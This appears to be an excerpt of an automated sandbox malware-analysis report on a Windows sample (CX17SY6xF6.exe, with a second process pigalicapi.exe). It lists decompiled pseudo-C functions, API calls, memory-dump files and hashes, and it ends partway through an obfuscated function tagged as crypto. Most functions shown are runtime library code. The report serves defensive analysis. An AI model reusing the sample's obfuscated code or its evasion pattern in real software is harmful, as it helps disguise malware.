0x010d9cd9
0x010d9ce5
0x010d9ce8
0x010d9ceb
0x010d9cfd
0x010d9d02
0x010d9d04
0x010d9d0f
0x010d9d15
0x010d9d1d
0x010d9d1f
0x00000000
0x00000000
0x00000000
0x00000000
0x010d9d06
0x010d9d06
0x00000000
0x010d9d06
0x010d9ced
0x010d9ced
0x010d9cee
0x010d9cee
0x010d9d21
0x010d9d22
0x010d9d22
0x010d9ccd
0x010d9cd3
0x010d9cd7
0x010d9d2a
0x010d9d2b
0x010d9d31
0x00000000
0x00000000
0x00000000
0x010d9cd7
0x010d9d38

APIs

GetLastError.KERNEL32(?,?,?,010D982B,010DA6CF,?,010D9C5E,00000001,00000364,?,010D4B88,?), ref: 010D9CB9
_free.LIBCMT ref: 010D9CEE
_free.LIBCMT ref: 010D9D15
SetLastError.KERNEL32(00000000,?), ref: 010D9D22
SetLastError.KERNEL32(00000000,?), ref: 010D9D2B

Memory Dump Source

Source File: 00000000.00000002.864930148.00000000010D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 010D0000, based on PE: true

Associated: 00000000.00000002.864836901.00000000010D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.865456747.00000000010E9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.866524306.000000000112C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.866966911.000000000116D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.867050163.000000000116F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10d0000_CX17SY6xF6.jbxd

Similarity

API ID: ErrorLast$_free
String ID:
API String ID: 3170660625-0
Opcode ID: 62da8a353675fd7ebaad6d7b7c6b79ca644d584f920a2c996b4ea7f1c6a4dafe
Instruction ID: d3a884e45189afcfdd6b4a613f4af0d3e74c4e45b8ed3004fc22350a3d03653a
Opcode Fuzzy Hash: 62da8a353675fd7ebaad6d7b7c6b79ca644d584f920a2c996b4ea7f1c6a4dafe
Instruction Fuzzy Hash: 9F01783A304706FBCB2276796C84D9B36DDDFD56BD7200024F9D693181EF3688028221

Uniqueness

Uniqueness Score: -1.00%

Function 010DBB90 Relevance: 7.5, APIs: 5, Instructions: 40
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E010DBB90(intOrPtr* _a4) {
				intOrPtr _t6;
				intOrPtr* _t21;
				void* _t23;
				void* _t24;
				void* _t25;
				void* _t26;
				void* _t27;

				_t21 = _a4;
				if(_t21 != 0) {
					_t23 =  *_t21 -  *0x116dd10; // 0x116dd08
					if(_t23 != 0) {
						E010DA6DA(_t7);
					}
					_t24 =  *((intOrPtr*)(_t21 + 4)) -  *0x116dd14; // 0x116e181
					if(_t24 != 0) {
						E010DA6DA(_t8);
					}
					_t25 =  *((intOrPtr*)(_t21 + 8)) -  *0x116dd18; // 0x116e181
					if(_t25 != 0) {
						E010DA6DA(_t9);
					}
					_t26 =  *((intOrPtr*)(_t21 + 0x30)) -  *0x116dd40; // 0x116dd0c
					if(_t26 != 0) {
						E010DA6DA(_t10);
					}
					_t6 =  *((intOrPtr*)(_t21 + 0x34));
					_t27 = _t6 -  *0x116dd44; // 0x116e184
					if(_t27 != 0) {
						return E010DA6DA(_t6);
					}
				}
				return _t6;
			}

0x010dbb96
0x010dbb9b
0x010dbb9f
0x010dbba5
0x010dbba8
0x010dbbad
0x010dbbb1
0x010dbbb7
0x010dbbba
0x010dbbbf
0x010dbbc3
0x010dbbc9
0x010dbbcc
0x010dbbd1
0x010dbbd5
0x010dbbdb
0x010dbbde
0x010dbbe3
0x010dbbe4
0x010dbbe7
0x010dbbed
0x00000000
0x010dbbf5
0x010dbbed
0x010dbbf8

APIs

_free.LIBCMT ref: 010DBBA8

Part of subcall function 010DA6DA: HeapFree.KERNEL32(00000000,00000000,?,010DBC27,?,00000000,?,00000000,?,010DBC4E,?,00000007,?,?,010DADC4,?), ref: 010DA6F0
Part of subcall function 010DA6DA: GetLastError.KERNEL32(?,?,010DBC27,?,00000000,?,00000000,?,010DBC4E,?,00000007,?,?,010DADC4,?,?), ref: 010DA702

_free.LIBCMT ref: 010DBBBA
_free.LIBCMT ref: 010DBBCC
_free.LIBCMT ref: 010DBBDE
_free.LIBCMT ref: 010DBBF0

Memory Dump Source

Source File: 00000000.00000002.864930148.00000000010D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 010D0000, based on PE: true

Associated: 00000000.00000002.864836901.00000000010D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.865456747.00000000010E9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.866524306.000000000112C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.866966911.000000000116D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.867050163.000000000116F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10d0000_CX17SY6xF6.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: ff23d479c7736e0b1e6bed9f8aab3c3bfc9ae30eb71fe7c78569cedac7a3b5e7
Instruction ID: 6d4c3a45b1f1c559873ee013482f6b051d49f3c6ba3240eb043a856e0bdda587
Opcode Fuzzy Hash: ff23d479c7736e0b1e6bed9f8aab3c3bfc9ae30eb71fe7c78569cedac7a3b5e7
Instruction Fuzzy Hash: CBF0AF32708300EB8A74EAA8FA80C5E3BD9BB682A03650C45F1D9D7844CA61F8808768

Uniqueness

Uniqueness Score: -1.00%

Function 010E160F Relevance: 7.5, APIs: 5, Instructions: 30
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E010E160F(signed int __ecx) {
				intOrPtr _t7;

				asm("lock xadd [eax], ecx");
				if((__ecx | 0xffffffff) == 0) {
					_t7 =  *0x116dd00; // 0xdc2bf0
					if(_t7 != 0x116dae0) {
						E010DA6DA(_t7);
						 *0x116dd00 = 0x116dae0;
					}
				}
				E010DA6DA( *0x116ea34);
				 *0x116ea34 = 0;
				E010DA6DA( *0x116ea38);
				 *0x116ea38 = 0;
				E010DA6DA( *0x116e818);
				 *0x116e818 = 0;
				E010DA6DA( *0x116e81c);
				 *0x116e81c = 0;
				return 1;
			}

0x010e1618
0x010e161c
0x010e161e
0x010e162a
0x010e162d
0x010e1633
0x010e1633
0x010e162a
0x010e163f
0x010e164c
0x010e1652
0x010e165d
0x010e1663
0x010e166e
0x010e1674
0x010e167c
0x010e1685

APIs

_free.LIBCMT ref: 010E162D

Part of subcall function 010DA6DA: HeapFree.KERNEL32(00000000,00000000,?,010DBC27,?,00000000,?,00000000,?,010DBC4E,?,00000007,?,?,010DADC4,?), ref: 010DA6F0
Part of subcall function 010DA6DA: GetLastError.KERNEL32(?,?,010DBC27,?,00000000,?,00000000,?,010DBC4E,?,00000007,?,?,010DADC4,?,?), ref: 010DA702

_free.LIBCMT ref: 010E163F
_free.LIBCMT ref: 010E1652
_free.LIBCMT ref: 010E1663
_free.LIBCMT ref: 010E1674

Memory Dump Source

Source File: 00000000.00000002.864930148.00000000010D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 010D0000, based on PE: true

Associated: 00000000.00000002.864836901.00000000010D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.865456747.00000000010E9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.866524306.000000000112C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.866966911.000000000116D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.867050163.000000000116F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10d0000_CX17SY6xF6.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: d235c0691061a65b8670495958b4a100f82e7b88d9db1ca975a9f58396bc2f9c
Instruction ID: b71efe8acae2df2ed172a9aef5cd0cf9ebb23ae84c928749dabdbcbbff53188d
Opcode Fuzzy Hash: d235c0691061a65b8670495958b4a100f82e7b88d9db1ca975a9f58396bc2f9c
Instruction Fuzzy Hash: 11F06D78A06221DB9A29AF15B8404883BA8B7787A13004636F0B1976A8C73344C29FC4

Uniqueness

Uniqueness Score: -1.00%

Function 010E0FD5 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 115
COMMON

Download Yara Rule

C-Code - Quality: 88%

			E010E0FD5(intOrPtr _a4) {
				signed int _v8;
				void* _v12;
				char _v16;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr* _t35;
				struct HINSTANCE__* _t36;
				struct HINSTANCE__* _t42;
				intOrPtr* _t43;
				intOrPtr* _t44;
				WCHAR* _t48;
				struct HINSTANCE__* _t49;
				struct HINSTANCE__* _t53;
				intOrPtr* _t56;
				struct HINSTANCE__* _t61;
				intOrPtr _t62;

				if(_a4 == 2 || _a4 == 1) {
					GetModuleFileNameW(0, 0x116e5f0, 0x104);
					_t48 =  *0x116e824; // 0xdb1c40
					 *0x116e828 = 0x116e5f0;
					if(_t48 == 0 ||  *_t48 == 0) {
						_t48 = 0x116e5f0;
					}
					_v8 = 0;
					_v16 = 0;
					E010E10F4(_t48, 0, 0,  &_v8,  &_v16);
					_t61 = E010E127A(_v8, _v16, 2);
					if(_t61 != 0) {
						E010E10F4(_t48, _t61, _t61 + _v8 * 4,  &_v8,  &_v16);
						if(_a4 != 1) {
							_v12 = 0;
							_push( &_v12);
							_t49 = E010E1CBE(_t48, 0, _t61, _t61);
							if(_t49 == 0) {
								_t56 = _v12;
								_t53 = 0;
								_t35 = _t56;
								if( *_t56 == 0) {
									L15:
									_t36 = 0;
									 *0x116e814 = _t53;
									_v12 = 0;
									_t49 = 0;
									 *0x116e81c = _t56;
									L16:
									E010DA6DA(_t36);
									_v12 = 0;
									goto L17;
								} else {
									goto L14;
								}
								do {
									L14:
									_t35 = _t35 + 4;
									_t53 =  &(_t53->i);
								} while ( *_t35 != 0);
								goto L15;
							}
							_t36 = _v12;
							goto L16;
						}
						 *0x116e814 = _v8 - 1;
						_t42 = _t61;
						_t61 = 0;
						 *0x116e81c = _t42;
						goto L10;
					} else {
						_t43 = E010D9826();
						_push(0xc);
						_pop(0);
						 *_t43 = 0;
						L10:
						_t49 = 0;
						L17:
						E010DA6DA(_t61);
						return _t49;
					}
				} else {
					_t44 = E010D9826();
					_t62 = 0x16;
					 *_t44 = _t62;
					E010D976A();
					return _t62;
				}
			}

0x010e0fe2
0x010e1010
0x010e1016
0x010e101c
0x010e1024
0x010e102b
0x010e102b
0x010e1030
0x010e1037
0x010e103e
0x010e1050
0x010e1057
0x010e1076
0x010e1082
0x010e109d
0x010e10a0
0x010e10a7
0x010e10ad
0x010e10b4
0x010e10b7
0x010e10b9
0x010e10bd
0x010e10c7
0x010e10c7
0x010e10c9
0x010e10cf
0x010e10d2
0x010e10d4
0x010e10da
0x010e10db
0x010e10e1
0x00000000
0x00000000
0x00000000
0x00000000
0x010e10bf
0x010e10bf
0x010e10bf
0x010e10c2
0x010e10c3
0x00000000
0x010e10bf
0x010e10af
0x00000000
0x010e10af
0x010e1088
0x010e108d
0x010e108f
0x010e1091
0x00000000
0x010e1059
0x010e1059
0x010e105e
0x010e1060
0x010e1061
0x010e1096
0x010e1096
0x010e10e4
0x010e10e5
0x00000000
0x010e10ee
0x010e0fea
0x010e0fea
0x010e0ff1
0x010e0ff2
0x010e0ff4
0x00000000
0x010e0ff9

APIs

GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\Desktop\CX17SY6xF6.exe,00000104), ref: 010E1010
_free.LIBCMT ref: 010E10DB
_free.LIBCMT ref: 010E10E5

Strings

C:\Users\user\Desktop\CX17SY6xF6.exe, xrefs: 010E1007, 010E100E, 010E103D, 010E1075

Memory Dump Source

Source File: 00000000.00000002.864930148.00000000010D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 010D0000, based on PE: true

Associated: 00000000.00000002.864836901.00000000010D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.865456747.00000000010E9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.866524306.000000000112C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.866966911.000000000116D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.867050163.000000000116F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10d0000_CX17SY6xF6.jbxd

Similarity

API ID: _free$FileModuleName
String ID: C:\Users\user\Desktop\CX17SY6xF6.exe
API String ID: 2506810119-3461935308
Opcode ID: 373d93f74e44102330450a2909100e17625140d4ed6cdcdc234bc250aced3d9e
Instruction ID: a6d78c63c88059550a0b36f5d1c2450b24bad03245d29f7a3ed88a7fa134dfac
Opcode Fuzzy Hash: 373d93f74e44102330450a2909100e17625140d4ed6cdcdc234bc250aced3d9e
Instruction Fuzzy Hash: DB31CD71B00249EFDB35DF9AD888DDEBFFCEB88750B0081A6F94497201D6B18A41CB91

Uniqueness

Uniqueness Score: -1.00%

Function 010DA7B0 Relevance: 6.1, APIs: 4, Instructions: 52
libraryCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 95%

			E010DA7B0(signed int _a4) {
				signed int _t9;
				void* _t13;
				signed int _t15;
				WCHAR* _t22;
				signed int _t24;
				signed int* _t25;
				void* _t27;

				_t9 = _a4;
				_t25 = 0x116df50 + _t9 * 4;
				_t24 =  *_t25;
				if(_t24 == 0) {
					_t22 =  *(0x1126c50 + _t9 * 4);
					_t27 = LoadLibraryExW(_t22, 0, 0x800);
					if(_t27 != 0) {
						L8:
						 *_t25 = _t27;
						if( *_t25 != 0) {
							FreeLibrary(_t27);
						}
						_t13 = _t27;
						L11:
						return _t13;
					}
					_t15 = GetLastError();
					if(_t15 != 0x57) {
						_t27 = 0;
					} else {
						_t15 = LoadLibraryExW(_t22, _t27, _t27);
						_t27 = _t15;
					}
					if(_t27 != 0) {
						goto L8;
					} else {
						 *_t25 = _t15 | 0xffffffff;
						_t13 = 0;
						goto L11;
					}
				}
				_t4 = _t24 + 1; // 0x2e3e64cb
				asm("sbb eax, eax");
				return  ~_t4 & _t24;
			}

0x010da7b5
0x010da7b9
0x010da7c0
0x010da7c4
0x010da7d2
0x010da7e8
0x010da7ec
0x010da815
0x010da817
0x010da81b
0x010da81e
0x010da81e
0x010da824
0x010da826
0x00000000
0x010da827
0x010da7ee
0x010da7f7
0x010da806
0x010da7f9
0x010da7fc
0x010da802
0x010da802
0x010da80a
0x00000000
0x010da80c
0x010da80f
0x010da811
0x00000000
0x010da811
0x010da80a
0x010da7c6
0x010da7cb
0x00000000

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,00000000,00000000,?,010DA757,?,00000000,00000000,00000000,?,010DA954,00000006,FlsSetValue), ref: 010DA7E2
GetLastError.KERNEL32(?,010DA757,?,00000000,00000000,00000000,?,010DA954,00000006,FlsSetValue,011271D0,FlsSetValue,00000000,00000364,?,010D9D02), ref: 010DA7EE
LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,010DA757,?,00000000,00000000,00000000,?,010DA954,00000006,FlsSetValue,011271D0,FlsSetValue,00000000), ref: 010DA7FC

Memory Dump Source

Source File: 00000000.00000002.864930148.00000000010D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 010D0000, based on PE: true

Associated: 00000000.00000002.864836901.00000000010D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.865456747.00000000010E9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.866524306.000000000112C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.866966911.000000000116D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.867050163.000000000116F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10d0000_CX17SY6xF6.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID:
API String ID: 3177248105-0
Opcode ID: bcc36aa359abf7adba57ff24006d8bc01ed8ff7c6574d863d0a34e63c15c9a55
Instruction ID: f0535156bc981c67d49fcf991f8b47eb693ed832c9641c8e1fa7b2d1aa784391
Opcode Fuzzy Hash: bcc36aa359abf7adba57ff24006d8bc01ed8ff7c6574d863d0a34e63c15c9a55
Instruction Fuzzy Hash: FF01F732711322EFCB314A6DAC45AAA3BD8EF05AB57500530FE9AD7241D725D402C7E0

Uniqueness

Uniqueness Score: -1.00%

Function 010DF883 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBVCRUNTIME ref: 010DF89A

Part of subcall function 010DFEDF: ___AdjustPointer.LIBCMT ref: 010DFF29

_UnwindNestedFrames.LIBCMT ref: 010DF8B1
___FrameUnwindToState.LIBVCRUNTIME ref: 010DF8C3
CallCatchBlock.LIBVCRUNTIME ref: 010DF8E7

Memory Dump Source

Source File: 00000000.00000002.864930148.00000000010D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 010D0000, based on PE: true

Associated: 00000000.00000002.864836901.00000000010D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.865456747.00000000010E9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.866524306.000000000112C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.866966911.000000000116D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.867050163.000000000116F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10d0000_CX17SY6xF6.jbxd

Similarity

API ID: CatchUnwind$AdjustBlockBuildCallFrameFramesNestedObjectPointerState
String ID:
API String ID: 2633735394-0
Opcode ID: a0c907a298b97105730ea91cdf1af8e9e208b30165c122e71212370a16017045
Instruction ID: 51fbfa7f4717fa257895347a33a5012f133d93dc8d29a44521606e9fc110bb79
Opcode Fuzzy Hash: a0c907a298b97105730ea91cdf1af8e9e208b30165c122e71212370a16017045
Instruction Fuzzy Hash: FB01133200020ABBDF129F55CC05EDA7BAAEF59754F158425FE9966120C372E8A2DBA1

Uniqueness

Uniqueness Score: -1.00%

Function 010DF376 Relevance: 6.0, APIs: 4, Instructions: 14
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E010DF376() {
				void* _t4;
				void* _t8;

				E010E07C7();
				E010E075B();
				if(E010E049E() != 0) {
					_t4 = E010DF4B6(_t8, __eflags);
					__eflags = _t4;
					if(_t4 != 0) {
						return 1;
					} else {
						E010E04DA();
						goto L1;
					}
				} else {
					L1:
					return 0;
				}
			}

0x010df376
0x010df37b
0x010df387
0x010df38c
0x010df391
0x010df393
0x010df39e
0x010df395
0x010df395
0x00000000
0x010df395
0x010df389
0x010df389
0x010df38b
0x010df38b

APIs

___vcrt_initialize_pure_virtual_call_handler.LIBVCRUNTIME ref: 010DF376
___vcrt_initialize_winapi_thunks.LIBVCRUNTIME ref: 010DF37B
___vcrt_initialize_locks.LIBVCRUNTIME ref: 010DF380

Part of subcall function 010E049E: ___vcrt_InitializeCriticalSectionEx.LIBVCRUNTIME ref: 010E04AF

___vcrt_uninitialize_locks.LIBVCRUNTIME ref: 010DF395

Memory Dump Source

Source File: 00000000.00000002.864930148.00000000010D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 010D0000, based on PE: true

Associated: 00000000.00000002.864836901.00000000010D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.865456747.00000000010E9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.866524306.000000000112C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.866966911.000000000116D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.867050163.000000000116F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10d0000_CX17SY6xF6.jbxd

Similarity

API ID: CriticalInitializeSection___vcrt____vcrt_initialize_locks___vcrt_initialize_pure_virtual_call_handler___vcrt_initialize_winapi_thunks___vcrt_uninitialize_locks
String ID:
API String ID: 1761009282-0
Opcode ID: d9d358f762020a3697c42513d329f3b7714901d0df1c8398228c41b5068d958c
Instruction ID: 2ddbdb3c3d694720e4c8d35b42350db38a346791d856a1c3d6d5bb737a96ed47
Opcode Fuzzy Hash: d9d358f762020a3697c42513d329f3b7714901d0df1c8398228c41b5068d958c
Instruction Fuzzy Hash: CFC04C95641343981DA13ABB26181EE17C01CB69C4B82D4C1B8C25744F5DD9000B5972

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: pigalicapi.exePID: 2408, Parent PID: 3528COMMON

Execution Graph

Execution Coverage:	4.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	1273
Total number of Limit Nodes:	46

Executed Functions

Function 00EF1F80 Relevance: 9.4, APIs: 6, Instructions: 417
COMMONCrypto

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 85%

			E00EF1F80() {
				intOrPtr _t287;
				intOrPtr _t302;
				intOrPtr _t303;
				int _t309;
				intOrPtr _t322;
				signed int _t325;
				signed int _t327;
				signed int _t344;
				intOrPtr _t345;
				intOrPtr _t348;
				intOrPtr _t356;
				signed int _t394;
				signed int _t398;
				intOrPtr _t402;
				intOrPtr _t413;
				signed int _t437;
				intOrPtr _t452;
				signed int _t458;
				intOrPtr _t466;
				intOrPtr _t468;
				intOrPtr _t482;
				int* _t486;
				intOrPtr _t487;
				intOrPtr _t519;
				intOrPtr* _t520;
				void* _t521;
				void* _t522;

				_t520 = _t521 - 0x68;
				_t522 = _t521 - 0xc0;
				 *((intOrPtr*)(_t520 + 0x64)) = 0xf8d5f0;
				 *( *((intOrPtr*)(_t520 + 0x64)) + 0xf8) =  *(_t520 + 0x78);
				 *(_t520 + 0x58) = 0x2565;
				 *(_t520 + 0x4c) = 0x24c7;
				 *(_t520 + 0x5c) = 0x2506;
				 *(_t520 + 0x60) = 0x2622;
				 *(_t520 + 0x54) = 0x24c7;
				 *(_t520 + 0x50) = 0x2565;
				if( *(_t520 + 0x54) < ( *(_t520 + 0x50) ^ 0x00000347)) {
					if( *(_t520 + 0x58) >  *(_t520 + 0x4c) + 0x161) {
						__eflags =  *(_t520 + 0x58) - ( *(_t520 + 0x5c) ^  *( *((intOrPtr*)(_t520 + 0x64)) + 0xbadc71)) -  *( *((intOrPtr*)(_t520 + 0x64)) + 0xdc);
						if(__eflags >= 0) {
							__eflags =  *( *((intOrPtr*)(_t520 + 0x64)) + 0xdc) -  *(_t520 + 0x4c) *  *0x00F8D694 *  *0xf8d62c;
							if(__eflags >= 0) {
								 *(_t520 + 0x18) =  *(_t520 + 0x5c) *  *( *((intOrPtr*)(_t520 + 0x64)) + 0x8c);
								GetModuleHandleA( *(_t520 + 0x18));
								 *(_t520 + 4) =  *(_t520 + 0x60) -  *(_t520 + 0x60) ^ 0x00002801;
								 *(_t520 + 8) =  *(_t520 + 0x5c) *  *( *((intOrPtr*)(_t520 + 0x64)) + 0xf4);
								_t322 =  *0xf8d5ec; // 0xf8d5f0
								 *(_t520 + 0xc) = ( *(_t520 + 0x60) | 0x000024c7) *  *(_t322 + 0xbadc81);
								_t413 =  *0xf8d5ec; // 0xf8d5f0
								 *((intOrPtr*)(_t520 + 0x10)) = _t413;
								_t325 =  *( *((intOrPtr*)(_t520 + 0x64)) + 0x8c) &  *( *((intOrPtr*)(_t520 + 0x64)) + 0xbadbc1);
								__eflags = _t325;
								 *(_t520 + 0x14) = _t325;
								_t327 = E00F08570( *(_t520 + 4),  *(_t520 + 8),  *(_t520 + 0xc),  *((intOrPtr*)(_t520 + 0x10)),  *(_t520 + 0x14));
								_t522 = _t522 + 0x14;
								 *(_t520 + 0x5c) = _t327;
							}
						}
					} else {
						 *(_t520 + 0x5c) =  *(_t520 + 0x5c) ^ 0x0000003d;
						 *(_t520 + 0x4c) =  *(_t520 + 0x4c) ^ 0x000002ef;
						 *(_t520 + 0x60) =  *(_t520 + 0x60) + 0x218;
						 *(_t520 + 0x54) =  *(_t520 + 0x54) + 0x161;
						 *(_t520 + 0x5c) =  *(_t520 + 0x5c) ^ 0x000002ad;
						 *((intOrPtr*)(_t520 + 0x34)) =  *(_t520 + 0x50) + 0x254;
						 *((intOrPtr*)(_t520 + 0x38)) =  *(_t520 + 0x58) - 0x2a;
						 *((intOrPtr*)(_t520 + 0x3c)) =  *(_t520 + 0x4c) - 0xc3;
						 *((intOrPtr*)(_t520 + 0x40)) =  *(_t520 + 0x58) + 0x2d5;
						 *((intOrPtr*)(_t520 + 0x44)) =  *((intOrPtr*)(_t520 + 0x64));
						 *(_t520 + 0x48) =  *(_t520 + 0x54) ^ 0x000000af;
						_push( *(_t520 + 0x48));
						_push( *((intOrPtr*)(_t520 + 0x44)));
						_push( *((intOrPtr*)(_t520 + 0x40)));
						_push( *((intOrPtr*)(_t520 + 0x3c)));
						_push( *((intOrPtr*)(_t520 + 0x38)));
						_push( *((intOrPtr*)(_t520 + 0x34)));
						 *(_t520 + 0x60) = E00EF3690();
						 *(_t520 + 0x5c) =  *(_t520 + 0x5c) ^ 0x000001a5;
						 *((intOrPtr*)(_t520 + 0x1c)) =  *(_t520 + 0x60) - 0xbd;
						 *(_t520 + 0x20) =  *(_t520 + 0x54) ^ 0x000003b0;
						 *((intOrPtr*)(_t520 + 0x24)) =  *(_t520 + 0x54) + 0xac;
						 *((intOrPtr*)(_t520 + 0x28)) =  *(_t520 + 0x5c) - 0x9b;
						 *((intOrPtr*)(_t520 + 0x2c)) =  *(_t520 + 0x58) - 0x5f;
						 *((intOrPtr*)(_t520 + 0x30)) =  *((intOrPtr*)(_t520 + 0x64));
						_push( *((intOrPtr*)(_t520 + 0x30)));
						_push( *((intOrPtr*)(_t520 + 0x2c)));
						_push( *((intOrPtr*)(_t520 + 0x28)));
						_push( *((intOrPtr*)(_t520 + 0x24)));
						_push( *(_t520 + 0x20));
						_push( *((intOrPtr*)(_t520 + 0x1c)));
						_t344 = E00EF3E70();
						_t522 = _t522 + 0x30;
						 *(_t520 + 0x58) = _t344;
						 *(_t520 + 0x54) =  *(_t520 + 0x54) - 0x161;
						_t519 =  *0xf8d5ec; // 0xf8d5f0
						_t345 =  *0xf8d5ec; // 0xf8d5f0
						_t68 = _t345 + 0x94; // 0x1482000
						 *((intOrPtr*)(_t519 + 0x90)) =  *_t68;
					}
				}
				if( *(_t520 + 0x54) > ( *(_t520 + 0x58) ^ 0x00000d01)) {
					_t437 =  *0xf8d628; // 0x1
					 *(_t520 - 0x38) = _t437 &  *( *((intOrPtr*)(_t520 + 0x64)) + 0xac);
					CloseHandle( *(_t520 - 0x38));
					_t348 =  *0xf8d5ec; // 0xf8d5f0
					_t202 = _t348 + 0xec; // 0xe608d
					 *(_t520 + 0x50) =  *(_t520 + 0x50) -  *_t202 +  *((intOrPtr*)( *((intOrPtr*)(_t520 + 0x64)) + 0xb4));
					 *(_t520 + 0x50) =  *(_t520 + 0x50) |  *( *((intOrPtr*)(_t520 + 0x64)) + 0xdc) *  *0x00F8D694 -  *( *((intOrPtr*)(_t520 + 0x64)) + 0xe0);
					GetCurrentProcessId();
					 *((intOrPtr*)(_t520 - 0x40)) = 0x28ec;
					 *((intOrPtr*)(_t520 - 0x3c)) = 0x3c28;
					 *0xf8df10 = E00F05FF0(__eflags,  *((intOrPtr*)(_t520 - 0x40)),  *((intOrPtr*)(_t520 - 0x3c)));
					 *(_t520 - 0x58) =  *(_t520 + 0x54) &  *0x01B3B1DD;
					_t356 =  *0xf8d5ec; // 0xf8d5f0
					_t222 = _t356 + 0xf4; // 0xd3256746
					 *(_t520 - 0x54) =  *(_t520 + 0x60) +  *_t222;
					 *(_t520 - 0x50) =  *(_t520 + 0x50) * 0x26e5 *  *(_t520 + 0x60);
					 *(_t520 - 0x4c) =  *( *((intOrPtr*)(_t520 + 0x64)) + 0x14) ^ 0x000026d4;
					 *(_t520 - 0x48) =  *(_t520 + 0x50) +  *((intOrPtr*)( *((intOrPtr*)(_t520 + 0x64)) + 0xa4)) |  *(_t520 + 0x54);
					_t452 =  *0xf8d5ec; // 0xf8d5f0
					_t238 = _t452 + 0xb4; // 0x0
					 *(_t520 - 0x44) =  *_t238 *  *( *((intOrPtr*)(_t520 + 0x64)) + 0xf4);
					MultiByteToWideChar( *(_t520 - 0x58),  *(_t520 - 0x54),  *(_t520 - 0x50),  *(_t520 - 0x4c),  *(_t520 - 0x48),  *(_t520 - 0x44));
					_t458 =  *(_t520 + 0x5c) | ( *( *((intOrPtr*)(_t520 + 0x64)) + 0xbadc51) &  *0xf8d6cc) - 0x000027b9;
					__eflags = _t458;
					 *(_t520 + 0x5c) = _t458;
				} else {
					 *(_t520 + 0x58) =  *(_t520 + 0x58) - 0x39;
					 *((intOrPtr*)(_t520 - 0x18)) =  *((intOrPtr*)(_t520 + 0x64));
					 *((intOrPtr*)(_t520 - 0x14)) =  *(_t520 + 0x60) + 6;
					 *(_t520 - 0x10) =  *(_t520 + 0x60) ^ 0x000003ba;
					 *(_t520 - 0xc) =  *(_t520 + 0x5c) ^ 0x0000001b;
					 *((intOrPtr*)(_t520 - 8)) =  *(_t520 + 0x58) - 0x2c6;
